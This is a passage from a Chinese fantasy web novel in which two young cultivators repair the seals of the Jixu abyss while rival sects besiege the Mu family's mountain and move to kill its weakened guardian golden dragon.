可也必须认清,在这条天荆地棘的大道中,伏节死义的修士不会在少数。 在东浔的事情过后,她终于说服自己,不再困于前世的心魔。 失去并不可怕,要看走到这条路的尽头,她能守住多少人,哪怕只是一个人,也够了。 灵舟穿入云霄,驶向祭墟。 作者有话说:对鹤阶大锤特锤[加油]《 》 60-65 第61章 第 61 章 攻山 上次闻惊遥在她房里闹了一通, 宿了整晚,慕夕阙第二日天刚亮便离开,回到淞溪的这二十日, 她除了修炼便是与那些灵兽玩,连同心玉牌都摘了。 闻惊遥传过信, 慕夕阙没回过。 大概第十日时, 闻惊遥托人送来了两瓶茶叶,慕夕阙收了,却并未喝过, 只随手放在屋内。 两人尚未跟朝蕴和庄漪禾她们坦白婚契的事,若要两家家主知晓,必是要恼火的, 慕夕阙不允闻惊遥说, 他便不说。 当灵舟落在距离祭墟百里外, 慕夕阙刚下灵舟, 空地上等候的百人涌上前, 对她拱手行礼。 “慕二小姐,圣尊已至,就等您来了。” 这些人是镇守祭墟的修士, 年轻年长的人都有,慕夕阙也没冷着脸, 颔首应下:“好, 辛苦诸位。” 为首的修士应是管事的,连忙摆手:“职责所在, 慕二小姐和圣尊才是用心竭力护佑百姓。” 如今并不是寒暄的时机,慕夕阙朝祭墟走去。 几名修士跟在她身后。 “东浔离这里近,圣尊一个时辰前到了, 自打前些时日天柱碎裂后,大能们虽已尽力弥补,可仍撑不了多久。” 越往祭墟走,日头便越发暗,慕夕阙仰头,透过参天古树还能瞧见远处高耸入云的天柱,一百根天柱是一百位大能的尸身化为的,万年前的大能可比现在多得多,不到化神境都称不上名号。 灾厄时期,化神境大能们有几十个,同一时期的大乘更是有十三人,在那场持续百年的灭世大灾中几乎全数陨落。 祭墟坐落在十三州和海外仙岛之间的深渊里,天柱则竖立在外围,百根天柱发出幽幽红光,刻有晦涩的古语,那些是镇压秽毒的禁制,如今东南侧的一根天柱碎裂,不断有弟子试图坚持,可深渊里头汹涌的秽毒却仍在冲撞。 人很多,一眼望去都是人,慕夕阙却能精准看到闻惊遥。 他生得高,虽还是个少年,个头却已见长,而闻家人最为突出的是他们的仪态,无论再疲乏都得挺直腰杆,脊背笔直,没有丝毫耸肩曲背。 闻惊遥回头看她,不知是不是慕夕阙的错觉,她觉得他的眼睛好似忽然就亮了些,面上的寡淡也化为温和,安静看她走来。 祭墟外的修士拱手道:“见过慕二小姐。” 纪挽春也在,见慕夕阙来,他笑着道:“慕二小姐辛苦了。” 慕夕阙微微眯眼,好似没有任何嫌隙般笑起来:“纪长老客气,应该的。” 鹤阶的人来得不多,纪挽春也只是装模作样随着闻惊遥前来,毕竟这位是鹤阶圣尊,拿着圣尊玉牌呢,纵使心底再不认可,他仍得装装样子。 慕夕阙看向闻惊遥:“圣尊既然也来了,那便进去吧?” 不等闻惊遥开口,纪挽春一愣,率先问道:“这般急吗?” “急的不是十三州吗?”慕夕阙笑了下,“鹤阶都派人催到家门口了,早点办完,我还得回家用膳呢。” 纪挽春哂笑道:“是,二小姐说得是。” 慕夕阙只看着闻惊遥:“你可还要准备?” 闻惊遥道:“不必。” 他垂眸看她,这些天不见,他想她想得紧,可如今却并未给他们留有相处的时间,他甚至连多看她几眼都无法。 慕夕阙已经绕过他,她纵身跃上虚空,垂眸看着百根天柱围住的祭墟,在外修补天柱只是权宜之策,祭墟动荡往往是内部的禁制出了问题,因此神器之主要纵身跃入祭墟。 十二辰和天罡篆若全面开启,自是会保神器之主不受秽毒侵蚀,因此能镇压祭墟的,只有两位神器之主。 这二十日来,鹤阶应教了闻惊遥如何镇压祭墟,而慕家作为十二辰的传承人,自她尚年幼,朝蕴便亲自教习过她。 慕夕阙并未望下方的百人一眼,她纵身跃入祭墟,金衫的裙摆被风扬起,好似一只灵蝶扑下,眨眼间消失不见,而闻惊遥紧随其中,也跳了进去。 外头的修士们皆都心脏狂跳,对祭墟的恐惧是无法避免,刻入骨髓的,如今两位尚只有十七岁的神器之主,却分毫不惧地跳入祭墟。 见慕夕阙和闻惊遥消失在祭墟,纪挽春的眸色忽沉,他等了足有两刻钟,亲眼瞧见外界碎裂的那根天柱正在以龟速缓慢修补,而秽毒冲撞结界的力度似乎也减弱不少,便知晓里头的人已经开始镇压祭墟,确实是在全力一试。 纪挽春道:“修补祭墟需要一段时日,起码半月,诸位不如下去休息吧?” 一位领头的长老道:“那怎么行,二小姐和圣尊在里头拼命,我们的职责是守好祭墟,自是不能离开。” 纪挽春回头看她,眯了眯眼,认出这位是谁,几百年前百花谷的大长老,自打孩子和夫君死后便自请来镇压祭墟了。 “是我糊涂了,那便辛苦长老了。” 他收回目光,盯着红光滔天的祭墟- 鹤阶内,议事堂内坐了几十个蓝衣缥缈的鹤阶长老。 闻沉也换下了闻家的青衫,身着鹤阶的蓝衣,衣领和袖口用银线勾勒出鹤羽的模样,寻常弟子穿天蓝色,长老则穿较深的海蓝色。 几十个长老面容平静,饮茶的饮茶,打坐的打坐,有人撑着脑袋望向东南侧祭墟的方向,也有人双目空空发呆冥想。 他们就这么等了七日,直到第七日,诸位长老腰间的玉符亮起,留守淞溪城外的鹤阶暗桩弟子传信。 “淞溪结界玉灵已全数打开,慕家还留下了阵法结界,这些天封城,咱们留守城内的暗桩弟子无法传信出来,不过今日,似乎玉灵的威压弱了些。” 闻沉道:“金龙开始虚弱了。” 对面的一位白须白髯的鹤阶长老道:“主子说的果然是真的,金龙靠十二辰供给,慕家估摸着当咱们不知道,为了保护金龙将城给封了,就他们留的那些阵法,能顶什么用?” “可笑至极,金龙让人畏惧,区区阵法结界,还不是主子一剑的事?” “慕夕阙和闻惊遥已去了七日,这些天昼夜不停使用十二辰和天罡篆,再等等,过段时日待金龙彻底虚弱。” 闻沉坐在椅中,望向祭墟的方向,与其他嬉笑闲聊的长老不同,他并未笑。 对侧的长老注意到,便主动点他:“怎么,闻长老不忍心了?对付完慕家,我们可要再次对闻家出手了。” 闻沉笑了下:“长老说笑了,我十几岁便认识主子了,自是对鹤阶忠心耿耿,只是在想,惊遥这孩子自小心思深沉,慕二更是聪慧机敏,两位不该猜不出鹤阶有意要打碎天柱,逼他们去镇压祭墟的。” 一位长老下颌微扬,朗笑几声:“猜出又怎样?这十三州谁敢援助慕家,朝蕴纵使布下禁制又能抵何用?” “闻长老不必忧心,咱们已派人在东浔城外埋伏,确认闻家并未出兵支援慕家,若慕二猜出咱们要攻慕家,以她的性子定会想办法保全慕家,求援闻家。” “师家也围起来了,并未有异样,慕二信任的朋友不多,如今一个都帮不了她,闻长老放心吧。” 闻沉牵出笑,沉默颔首,不再看这些鹤阶长老,垂眸看着地砖。 他只是在想,闻惊遥和慕夕阙难道真的没有半分对策,淞溪城外的那些看起来强悍,实际抵不过渡劫修士一击的阵术结界,便是慕夕阙想出来的办法吗? 淞溪闭城的第十日,整个十三州依旧如往日那般安宁,似乎并未有任何异样,百姓们仍旧忙碌自己的日子,城内热闹,除了近些时日叶子凋零不少,大风不断,似乎有些森寒。 朝蕴走入琼筵山顶,后山有一处陵园,埋葬了历任慕家家主,日后待她死后,也会葬入这里,与慕峥合葬。 并非所有家主都是十二辰之主,若祭墟不动荡,十二辰便不会苏醒。 但慕家百位家主,有二十多人被十二辰认主,死于十二辰掏空寿数。 朝蕴在一座墓碑前蹲下,她席地而坐,屈起双膝,看着那块石碑。 慕峥死得很早,这十几年的道侣关系只为她留下了这偌大的淞溪,以及两个年幼的孩子。 慕从晚自身后走来,蹲下来替她披上一件单薄的披风,比起慕夕阙,慕从晚对父亲的印象还是有些的,慕峥死的时候,她已经有七岁了。 “今日结界玉灵已大大削弱,咱们闭城十日,虽对百姓通传是因进来祟种频发,淞溪为保安稳才暂时闭城,可百姓们难免惶然。” 朝蕴垂首叹息:“金龙撑不了几日了,鹤阶应也在等。” “弟子们这些时日在加强练习,您也不要太过忧心。”慕从晚坐在她身侧,这些时日朝蕴便没睡过几日,她敏锐发现,朝蕴鬓边的白发更多了,她明明才四十多岁。 “小晚,我只是在想,这次我们能护住淞溪和金龙,若再有下次呢?” 朝蕴抬眸,看着那块冷冰冰的石碑,墓碑上记载了慕峥生平,慕峥去世的时候也才三十多岁,是慕家这些家主中死得最早的一个。 “若不肃清十三州,推倒鹤阶,灾祸恐无穷无尽。” 可以他们一家之力,如何能推翻鹤阶,推翻那么多与鹤阶勾结的世家? 两个人安静许久,慕从晚裹紧身上的披风:“阿娘,父亲留给您的家主护体玉灵,您是否给了小夕?” 朝蕴颔首:“嗯,你父亲说那有用,我信他,希望那真的能保小夕平安。” 慕从晚垂眸道:“能的,您放心。” 琼筵山内,这些时日再不如过去那般热闹,反而像是笼罩了层阴霾般,弟子们没日没夜修炼,阵修们也在想办法设阵。 唯有未开灵智的灵兽们还叽叽喳喳要吃的,不懂为何近些时日弟子们喂食都比以前多了。 蔺九尘站在高阶上,双臂环胸,长刀挂在腰间,望向郁郁葱葱的琼筵山下。 百姓们并不知道发生什么,仍日出而作日落而息,今日已是第十日,按过去的经验,再有几日慕夕阙和闻惊遥便应当能补好祭墟。 蔺九尘守着山门,守到第十三日,山脚下来了两人。 一人举起玉符:“蔺公子,我是越疏棠,这是我阿妹迟笙。” 她顿了下,似乎有些不好意思,声音略低:“我是慕二小姐的朋友。” 蔺九尘眉心微蹙,盯着她手中的玉符,这世上只有这一枚,是慕二小姐独有的玉符,连左下角的磕损都一模一样,也有慕家的禁制。 确实是慕夕阙送出去的。 蔺九尘并不认识越疏棠,慕夕阙并未提及。 越疏棠收回玉符,将身后的迟笙拽出来,对蔺九尘道:“我们是二十日前到的淞溪,二小姐曾说若我们不知道去哪里,便来淞溪等她,我没敢上来找她,便一直在城内客栈住下,直到十三日前你们封城。” 蔺九尘并未说话,对她的态度没有明显的冷淡,却也并不亲近。 迟笙接话说道:“你们忽然封城,二小姐如今又不在城内,我阿姐思来想去,觉得应是慕家出事,犹豫多日才坐不住上山来了。” 越疏棠说道:“我有些事情日后要劳烦慕二小姐,她既然信任我,若慕家真有事需要帮忙,我也可以……” 她犹豫了下,迟笙看不下去,抢过她的话说:“我阿姐修为不错的,快入化神啦,你们就当欠我们个恩情,我们帮你们,日后让慕二小姐也帮我们一些事便好。” 蔺九尘忽然道:“你是海外仙岛的人?” 越疏棠和迟笙一愣,末了,她颔首:“嗯。” 蔺九尘点点头:“哦,那进来吧。” 越疏棠和迟笙愣住。 蔺九尘已转身上山,边走边说:“小夕走前说过,若有两个海外仙岛的女子前来,手持她的玉符,便放你们进来。” 越疏棠红唇微抿,手里握着的玉符略有些发烫,她实在没想到,慕夕阙能这般信任她,不仅赠予慕家玉符,还敢放她一个海外仙岛的人进琼筵山。 迟笙率先回神,拽住她的袖子拉着她跟上蔺九尘,她从未来过琼筵山,边走边说:“哇,十三州的山这般高吗,听说琼筵山是整个十三州最高耸的一座山。” 蔺九尘倒是笑了下,望向山顶那条延绵千里的山脊:“金龙身长不可估量,能容得下它的山,自然不俗。” 越疏棠问道:“敢问蔺公子,慕家有何险境吗?” 蔺九尘淡声道:“金龙在虚弱,怕是不出五日便会沉睡了,届时鹤阶应会来杀金龙。” 越疏棠和迟笙站住。 蔺九尘走了几步也停下,回身看她们,在两人脸上瞧见惊骇的神情,迟笙年纪小无法冷静,甚至连握剑的手都在抖。 他以为迟笙是畏惧,于是安抚道:“慕家会死不少人,二位不必赌上性命,现在下山还来得及,鹤阶只会对慕家出手,他们还惦记城内的慕家产业,便不会攻城。” 只会围了这座山,围了山上的慕家。 可迟笙却拔高音量道:“他们疯了?那是玉灵,是天神赐予人间的福泽,一只玉灵护佑一方,用福泽之气抵御天灾,我们海外仙岛一直说,杀玉灵是一定会遭天谴的!” 蔺九尘却笑了声:“天谴?你真信这东西?” 迟笙上前一步:“就算没有天谴,可那是玉灵啊,那是山神!” 蔺九尘转身上山,声音淡淡:“山神又如何,不是所有人都信仰山神的。” 走了几十步也没听到身后的脚步声,蔺九尘也并未再回头,只当这两人畏惧了,保全自己的性命并不是懦夫之举,人生而畏惧死亡,没有人不害怕。 趋利避害,明哲保身无错,他也并未觉得有什么。 可身后却传来急促的脚步声,越疏棠来到他身边,脸色冷沉:“前些时日影杀来了不少人,我一直在猜仅仅是围杀慕二小姐和闻少主,用得着这么多影杀吗,他们来十三州做什么?” 蔺九尘忽然顿住。 越疏棠冷声道:“影杀的杀手修为都不弱,我怀疑我们阁主也来了,若这次围攻慕家有影杀的参与,你们的处境只会更难。” 在蔺九尘看过来的目光中,越疏棠一字一句道:“我们阁主的修为已逼至大乘,或许已过大乘。” 蔺九尘没有说话,垂下的手却悄然攥紧,手背青筋绷紧,骨节几乎捏碎。 一个渡劫,一个大乘,加上不知道多少的鹤阶弟子,以及是否有其他世家的参与? 慕夕阙已在离开前先除了燕家,燕家应是来不了了,但若是有其余世家呢? 越疏棠咬紧牙关,忽然道:“阿笙,你下山,我留在山上。” 不等迟笙回答,她看着蔺九尘说道:“我了解影杀,我或许可以帮你们一些忙,慕家对我没什么恩情,但是金龙如果死了,城内的百姓们便失去了家,整个淞溪便没了,就算为了这些百姓,我也会帮你们。” “那我也留下。”迟笙道。 越疏棠瞪她一眼:“你能顶什么用?下山去!” “可我是个修士!”迟笙死活不走,双腿站得笔直。 越疏棠又气又怕,看着迟笙倔强的眼睛,双方僵持了几乎半刻钟,最后,越疏棠妥协了。 “你不准冲动,没我的允许不得离开我一步。” 迟笙笑嘻嘻挽住她的胳膊:“那是自然。” 她们并不管蔺九尘是否同意,直接往山上走。 而蔺九尘站在半山腰,山间内的灵兽还在欢悦追逐打闹,一只灵鸟落在他的肩上叽叽喳喳讨要果子。 蔺九尘抬手摘了两个果子喂给它,看着这只胖乎乎的灵鸟鼓着腮帮子嚼吧,他垂眸,摸了摸它柔顺的羽。 “胖得都要跑不动了,过几日若是逃命,也不知你飞不飞得起来。” 第十四日,淞溪地界圣洁的气息已几乎感知不到。 生长在琼筵山谷旁的果树所结的果子名唤匡恶,山谷内沉重的呼吸声渐渐弱下,原先郁郁葱葱的琼筵山落了满地的落叶,明明还不到秋季,这些树竟已发黄。 随着玉灵虚弱,天灾来临,四月底的淞溪竟然来了一场寒潮,百姓们看着上冻的农田发愁,农田的事情还未解决,又来了一场大雨,下了整整一日,护城河的水位大涨,几乎要漫出来。 第十五日,淞溪下雪了。 不少百姓被冻醒,推开窗户看着街上厚重的雪,面上惊愕。 “淞溪……淞溪下雪了?” 他们一个月前刚种下庄稼,这个时候下雪,几乎是灭顶的打击。 且淞溪气候温暖,已经百年没下过雪了。 百姓们往年不穿厚袄,几件薄衫能穿一年四季,连几件厚衣服都寻不出来,却见街头走来上百个慕家弟子,挨家挨户发放吃食和厚袄,对他们叮嘱,这两日不要出门,暂停城内的一切作息。 纵使再过迟钝,也有不少人觉察出,好似有大事要发生了。 淞溪封城的第十七日,金龙沉睡了。 山谷内呼吸声规律但虚弱,几乎听不清。 琼筵山的叶子全数凋零,淞溪主城街上的雪已摞到膝盖,朝蕴坐在慕家主殿内,望着敞开的大门,没有金龙的庇护,天灾已经席卷了淞溪,几日未出太阳。 随着最后一缕光落下,暮色来临,坐了一整日的朝蕴终于动了。 她起身走出门外,宽敞的场上站满了人,整个琼筵山的山路上全是慕家的弟子,从山顶一路到山门,每隔几步便有一名弟子。 蔺九尘和姜榆带三千弟子镇守山门,五千守在山腰,几名修为高深的长老率其余弟子镇守山谷前,那是金龙的最后一道防线。 朝蕴往日总是衣着华丽,慕家行事奢侈,毕竟有钱,今日她却也褪去了满头的金饰,提上自己的剑,站在慕家主宅的大殿前。 她看着阴霾的山,好像看到了十三年前,慕峥死后没多久,她也是这般模样,从悲痛中强行清醒过来,一人一剑守着山门,逼退鹤阶。 深夜,有未睡的百姓们听到动静,悄悄拉开轩窗,透过缝隙看去。 夜幕之中,一道道黑影腾空瞬移,紧随其后的是几十艘灵舟,各个舟上站满了人,去往的方向…… 是琼筵山。 一旁的妻子低声呢喃:“金龙还在,这些人怎么进来的?” 不等丈夫回答,便听到城门旁的钟楼上,有慕家弟子正在敲鼓。 三重一轻,那是外敌来犯的讯号,告知慕家弟子有敌人前来,告知城内百姓闭门不出,守好自家。 “完了,完了……叶子都掉了,寒潮也来了,几日的大雪,玉灵都拦不住这些人,金龙……金龙它……” 金龙怕是出事了。 作者有话说:如果没有玉灵周身的福泽庇佑,一座城就会这样慢慢衰弱,天灾不断,百姓们没有收成,食不饱腹,自然会迁移离开,那么这座城就会彻底没落,所以玉灵是非常重要的~ 来晚了一会儿,发个小红包[撒花] 第62章 第 62 章 守家 金龙的神识沉睡, 淞溪主城宛如城门大开,人修布下的阵法结界抵不过结界玉灵一成,自也拦不住这些穷凶极虐、利欲熏心的丑恶小人。 当看到第一艘灵舟出现在虚空, 姜榆纵身跃上百丈高的古树,一道道金影掠上虚空, 站至她身后, 慕家的阵修们抬手结印,金色灵力凝为的圆盘迅速拉开,上有千万道流纹划过。 直径有千丈的篆盘是慕家的第一道防线。 自圆盘中迸射的金色流光在虚空中凝化为盈千累万的利刃, 像是一根根银针般迸射出去,灵舟上来不及躲闪的黑影们顷刻间倒了一片,而等不及刹停的灵舟撞击在结界上, 随着一声巨响后碎裂, 舟上的敌人尸骨无存, 炸为漫天血雾。 一名鹤阶长老抬手竖起, 拦住身后的所有灵舟。 随后, 一道剑光以骇人之势劈开黑暗,自它划过的空间仿佛扭曲,连一片雪花都静止悬立, 灭顶的威压压在每一个人脊背上,骨骼几乎要碎裂。 剑光眨眼之间劈在金色罡罩之上。 蔺九尘冲上前, 一把接住要摔在地上的姜榆, 两人砸出几十丈远,虚空中的慕家弟子或死或伤, 一个接一个砸落在地。 荡开的威压移平了山门,那两根昂贵的汉白玉柱碎成齑粉,起码有几百个弟子跪地不起, 而灵舟上的人已跳下来,从山门一路往上杀。 双方厮杀,几道黑影踩着枝叶,身姿轻盈,一瞬千里,掠上这座高山。 黑衣男子落在山门前,他并未率先上山,而是垂眸望着脚下的一块碎裂匾额,“慕”字龙飞凤舞,这块匾额在此留了万年,是慕家老祖亲笔书写。 “啧,毁了。”他单膝蹲下,竟毫不避讳地用衣袖拂去匾额上的灰尘,鎏金兽脸面具之下,苍灰色的眼眸好似在透过这块匾额,看着谁一般。 可那眼神并不是善意,* 而像是有洪流般,汹涌波涛。 黑衣男子起身,他望向高耸的琼筵山,隐约还能看到山顶上辉煌威严的宫殿,万年前那人亲手监造了这座宫殿,站在山顶,背靠金龙,俯瞰淞溪,慕家多么鼎盛。 “你死了之后,慕家也不过如此。” 他一步走上高阶,从山门到山顶有整整两万阶,明明可以御灵上去,他却偏要一步步走过这打扫干净的青阶,他的脚像是有万顷重般,每上一个台阶,那坚硬的青阶便留下蛛网般的裂痕。 周遭在打斗,却无人能碰到他,无形的灵力威压让他每走一步,在他身边十丈内的人便会吐血跪地,无论是来攻杀慕家的弟子,还是慕家自己的弟子。 他目不斜视,负手闲庭信步,慢悠悠上山,周遭的打斗与死亡都像是在取悦他,脚下碎裂的青阶更是让他笑起来。 这座山要毁了,山上的宗门也会在今夜灭于一场大火。 金龙栖息在琼筵山的山谷内,那条延绵起码千里的沟谷深不见底,一只万年前盘旋在这座山的神兽欣赏这座山的宽广,能容纳它庞大的躯干,于是它定居在这里,周身的福泽之气保方圆千里生机盎然,为这座山带来了绿意和生灵。 有山有水,有花有草,有灵兽耕田,没有天灾来袭,百姓便会迁移向宜居的地方,于是金龙接纳了他们,自愿融与这座山中,成为整个淞溪的玉灵。 朝蕴站在山谷前,她的身后是四千弟子和十几位长老,而弟子长老们的身后,是因虚弱,连神识都彻底昏厥的金龙。 她看到一道道黑影掠上了山顶,悬立在虚空中,这些人甚至连脸都不蒙,光明正大。 宴逢握紧长刀,咬牙切齿:“浮生谷,不归谷,还有定州方家。” 朝蕴一字一句喊出这些人的名字。 “夙泽,容芜,容翊……” 浮生谷夙家来了两人,不归谷容家有两人,定州方家有四人,还有两位鹤阶的长老。 此次攻山的,有四个家族,门派并不大,但与鹤阶的关系走得近,因此慕夕阙那日在议事堂,曾经叮嘱过他们要留防这四个家族。 赤敛燕家没来,燕家的兵力能压这四个家族,若是燕家也来了,怕是灭顶打击。 几个家族的弟子们应当被山下的慕家弟子拦下,一时半会儿冲不上来,只有这些修为高深的长老撕破围杀冲了上来。 没见那个人。 虚空之上,容芜眼神冰冷,红衣被急速冲击的罡风拉成一条细线,她纵身冲来,其弟弟容翊紧随其后。 宴逢拔刀冲上:“这两人交给我!” 五百弟子设阵,迎上夙泽,而两名慕家长老各自缠住两位鹤阶长老,定州方家的四人被一千弟子围住,鲜血和着刀光剑影。 朝蕴和慕未缈未动,余下九位长老皆并肩而立,他们看着远处战局,看年轻弟子死于那些修为高深的长老刀下,听着山下激烈的打斗,空气中是浓重的血腥味,鹅毛大雪落在地上,又被温热的血融化。 无论要死多少人,他们都不能动,不能去支援救人,因为比起他们的性命、比起千万弟子更重要的,是这条山谷里的金龙。 朝蕴握着剑,寒风吹动她身上单薄的衣衫,雪落在她的肩头。 而琼筵山下,百姓们皆都闭门不出,无人敢睡,他们坐在屋内,听着外头呼啸的风吹过街道,妻子抱着孩子,丈夫搂着妻子和孩子,老人也都裹着棉被坐在屋内。 手无缚鸡之力,能做什么呢? 慕从晚坐在窗边,她并未关窗,一缕寒风裹着雪花飘进来,落在她的脸上。 “吱呀”一声,有人推开门,老妇迈着蹒跚的步伐走来,将一碗粥搁在她面前。 “大小姐,夫人送你下山,是忧心你的安危,哪能这般吹风呢?” 慕从晚裹着披风,苍白的脸甚至能与雪融为一体,她望着窗外,街上空无一人,而寂静的夜里,有什么东西在快速奔来。 她闭上眼,两行清泪快速落下,砸落在桌上。 “祟种来了。” 鹤阶并不会攻城屠戮百姓,因为淞溪主城内的商业繁荣,这些百姓手中的产业对鹤阶来说是一笔极大的财富,与崇俭禁奢的东浔截然不同。 于是老妇撑着昏花的眼睛看去,窗外街上疾风略过,快到她只觉得眼前黑影一闪而过,待反应过来,只余鼻息里潮湿血腥、又混杂些腐臭的气味。 刚才从窗边过去的,是几只祟种。 老妇忽然跌坐在榻上,她怔怔看着高耸的山影,此刻已被霜雪覆盖- 祭墟内全是黑雾,那些便是秽毒。 秽毒是会攻击人的,它们会凝化为利刃,或变成一只长满獠牙的野兽一口咬下,起初慕夕阙和闻惊遥仗着天罡篆和十二辰的庇护,尚且能全然不顾这些秽毒,安心修补那些破损的禁制。 随着禁制一个个被补上,十二辰和天罡篆的神力越发虚弱,也逐渐拦不住里头强盛的秽毒,他们便需要去打,两人身上都被咬下不少血肉,割出血痕。 秽毒侵蚀神魂,这世上唯二能免于秽毒侵蚀的,只有有神器庇佑的神主,神魂受器灵护佑,因此即使被秽毒所伤,也并不会感染秽毒。 最后一个禁制补好,闻惊遥躲过一旁的秽毒,朝慕夕阙冲来,拽住她的手,两人提气跃上虚空。 随着祭墟内修补完毕,外围碎裂的天柱已看不出一丝裂痕,在外镇守的长老大喜:“祭墟补好了!” 她率领弟子守在这里已有十七天,十七天未曾合眼,未曾用膳,看着天柱上的裂痕一点点消失不见。 弟子们欢呼,这十几日颓靡紧张的气氛陡然消失。 纪挽春也守了十几日,装模作样,但也确实一直在这里守着,他仰头看着已被修补好的祭墟,祭墟这一头是十三州的人在守着,另一头是海外仙岛的人在镇守。 两道身影冲出,众人顷刻间围上。 慕夕阙和闻惊遥的身上破烂,到处都是血,进去时穿得整洁亮丽,如今胳膊和腿,身前身后,甚至脖颈上都有啃咬和割裂的伤。 一名长老赶忙将身上带的丹药递过去:“二小姐,圣尊,两位辛苦了,对十三州舍命相救的大恩大德我们没齿难忘,休息的地方在百里外,我这就托人准备沐浴和伤药。” 慕夕阙笑着婉拒:“不必了,离家太久,我想先回去。” 闻惊遥也道:“有劳长老忧心,我们便先离开。” 他们这般说了,长老便也不再挽留,只能再次拱手:“谢过慕二小姐和圣尊相助。” 客气的话不必多说,弟子们让出一条路,而慕夕阙和闻惊遥的灵舟停在密林外,两人朝林外走去。 路过纪挽春之时,他微笑颔首,挑不出任何毛病,并未阻拦,什么都没做。 有人看慕夕阙和闻惊遥离开,两人身上的血滴了一路,看了许久,直到看不到身影后,低低叹息。 “唉,这秽毒到底何时才能彻底拔除?” 简直是天方夜谭的一句话,却又是无数个修士心中所向。 纪挽春自也听到了,他背着所有人,看似是在目送慕夕阙和闻惊遥离去,实际嗤笑了一声,他看着一艘慕家的灵舟拔地腾飞,闻惊遥应当也在上面。 两人是未婚道侣,去往淞溪的路上会途经东浔,没必要各自驾驶灵舟,他们刚出来便急着回去是纪挽春早便猜到的,慕夕阙肯定知晓金龙靠十二辰供给。 但从祭墟到淞溪,需要六个时辰。 六个时辰,足以将慕家变为一捧焦灰- 慕夕阙和闻惊遥站在密林里,看那艘灵舟由慕家暗桩弟子驾驶飞往淞溪。 “鹤阶应会一路尾随这只灵舟,确定我要回淞溪,他们认为你也在舟上,便不会半路对我出手,起码上一辈子是这样。” 闻惊遥侧首看她,慕夕阙的脖颈间有一道伤痕,血虽已止住,但翻开的血肉仍旧狰狞,那道伤痕险些切断她的血管,定是疼得很,她却根本不在乎。 慕夕阙又道:“从这里赶不回淞溪,我们不回那里,虚空应当有鹤阶的兵力把守,只能走陆路,时间不多,将天罡篆给我。” 闻惊遥祭出天罡篆,半分不犹豫便给了她。 慕夕阙转身朝东南方向奔移,闻惊遥也紧随其后。 她并不在乎催动灵力会令身上的血流得更快,会崩裂她的伤口让她疼痛,她只是在跑,边跑边调动十二辰,这朵莲花几乎快要合拢,只剩下五六朵花瓣还盛开。 慕夕阙掏空十二辰,将仅剩的神力借给同样快要掏空的天罡篆,一朵朵莲花花瓣逐渐合拢,而随着十二辰的虚弱,暗淡的天罡篆却逐渐耀眼。 直到十二辰彻底成为一朵合拢的莲花,慕夕阙将恢复六成神力的天罡篆塞给闻惊遥。 冷风切割在脸上,他们已入化神境,速度快到能一瞬百里,在林间快速掠过,所过之处刮起的利风带动枝叶簌簌摇晃,山林里的灵兽见到两人,皆都停足看来,却只见他们一闪而过的衣摆。 慕夕阙并未提前告知过闻惊遥她的目的,但他知晓她要去做什么。 她要做一件在世人看来离经叛道、有悖天道的事- 宴逢挥出最后一刀,绯刀割开喉管,收割了容芜的性命,她摔落在地,而身旁不远处,是她的弟弟容翊的尸身。 宴逢跌落在地,呕出一口鲜血,两名鹤阶长老已被斩杀,容芜容翊也已伏诛,定州方家还剩三人,夙泽也还活着。 慕家长老已战死两人。 朝蕴他们并未上前帮忙,每个人都有自己的职责,他们的任务是积蓄力量,在那个人手下守住金龙。 宴逢晃晃悠悠站起身,刚要冲去帮弟子斩杀夙泽,他的瞳仁中倒映出朝蕴和慕未缈,以及那些弟子惊恐的眼睛。 “宴长老——” 一柄细长的剑自他的身后捅过,剑尖穿透他的心脏,血沿着冰冷的尖端落下,身后的人用力,搅碎他的心脏。 宴逢面朝下跌在地上,侧脸下是冰冷的雪,逐渐模糊的视线倒映出几道从山路下奔来的黑影,肮脏邪恶的气息让人作呕。 他只能用最后一丝力气,留下最后一句话。 “还有……还有一刻钟……” 慕夕阙说,撑上一个时辰。 那只祟种拔出长剑,看也不看已死的人,向朝蕴几人冲去。 金戈铿锵,刀剑相撞的声音不断,而随着六只祟种加入战局,原先尚能僵持的战况顷刻间逆转,祟种一剑可以斩杀几十个弟子,慕家弟子们拼力凝出的结界罡罩简直脆弱得不值一提。 慕未缈率先提剑,身影掠如疾风,冲上前去拦住两只祟种,在场只剩下她一个化神境了,而剩下的所有慕家长老皆都无法再坐立,以人身迎上祟种。 朝蕴拔出长剑,加入战局。 她的修为并不高,不多时便一身的伤,腿骨被敲碎,而她忍着痛,再次迎上前。 一侧疾风袭来,一根利箭穿透雪夜自西北方射来,箭头在虚空中旋转,骇然奔来。 而朝蕴的左侧方,一只祟种已经逼到眼前。 “家主——” 朝蕴的瞳孔微缩,正欲躲开祟种迎上利箭,铿锵两声,祟种砍下的长刀被一柄弯刀挡住,而那支自西北方射来的利箭,也被一把折扇击飞。 两道身影挡在身前,眼前金影衣衫而过,手握折扇的男子已经迎上那只祟种,压着他一路往偏离山谷的地方打。 薛青菱擦去脸上的雪花,手执长刀,见朝蕴惊愕看来,她淡声解释:“慕二小姐很早便传了信给我,她救过我女儿云姝,我帮她一个忙。” 她看着远处的战况,沉声道:“青城师家和东浔闻家已被人围起来,援兵来不了,随公子修为高,能孤身逃出,而我自己一个人来,也不牵连沅湘周家。” 朝蕴匆匆道:“今夜这里危险——” 正说着,又一只祟种突破围困朝两人砍来,薛青菱拽住朝蕴后撤百丈远,边退边说:“老身这一把年纪了,周家有我儿子坐镇,又不需要我。” 两人站定,薛青菱冷眼看着那只急速奔来的祟种。 “若仅仅围你们慕家,我自是顾全自身不管不问,但敢杀玉灵,那便不能坐视不理。” 今日敢杀金龙,明日说不定就敢杀沅湘周家的毕方了。 薛青菱的修为已有化神,她不再管朝蕴,飞身迎上那只祟种,六只祟种皆有人缠住,朝蕴来不及想别的,赶忙奔向山谷旁。 天边飞来一人,他的速度极快,快过在场的所有人,他腾飞至山谷上空,黑衣猎猎作响,鎏金面具下苍灰色的眼眸看向深不见底的渊谷。 一只身长不可估量的金龙栖息在谷内,沉睡中,无知无觉,不知有多少人为了护住它身死道陨。 黑衣男子抬起苍白的手,苍灰色的灵力在虚空迅速凝为一柄遮天蔽日的长刀,它遮蔽所有月色,为整个琼筵山、整个淞溪主城蒙上阴霾。 长刀在晦暗中划出利光,以浩荡声势从天劈下,它要劈碎这条山谷,斩下那只金龙的头颅。 便是得知慕峥身死之时,也没有这一刀带给朝蕴的惊骇重,那几乎碾碎她所有的理智,她声嘶力竭:“住手——” 朝蕴逆冲经脉,快速奔去,可重伤的身子加之因操劳家事多年未有长进的修为,让她根本赶不及,只能看着那柄巨刀劈斩而下。 血雾炸开。 那是离得近的慕家弟子。 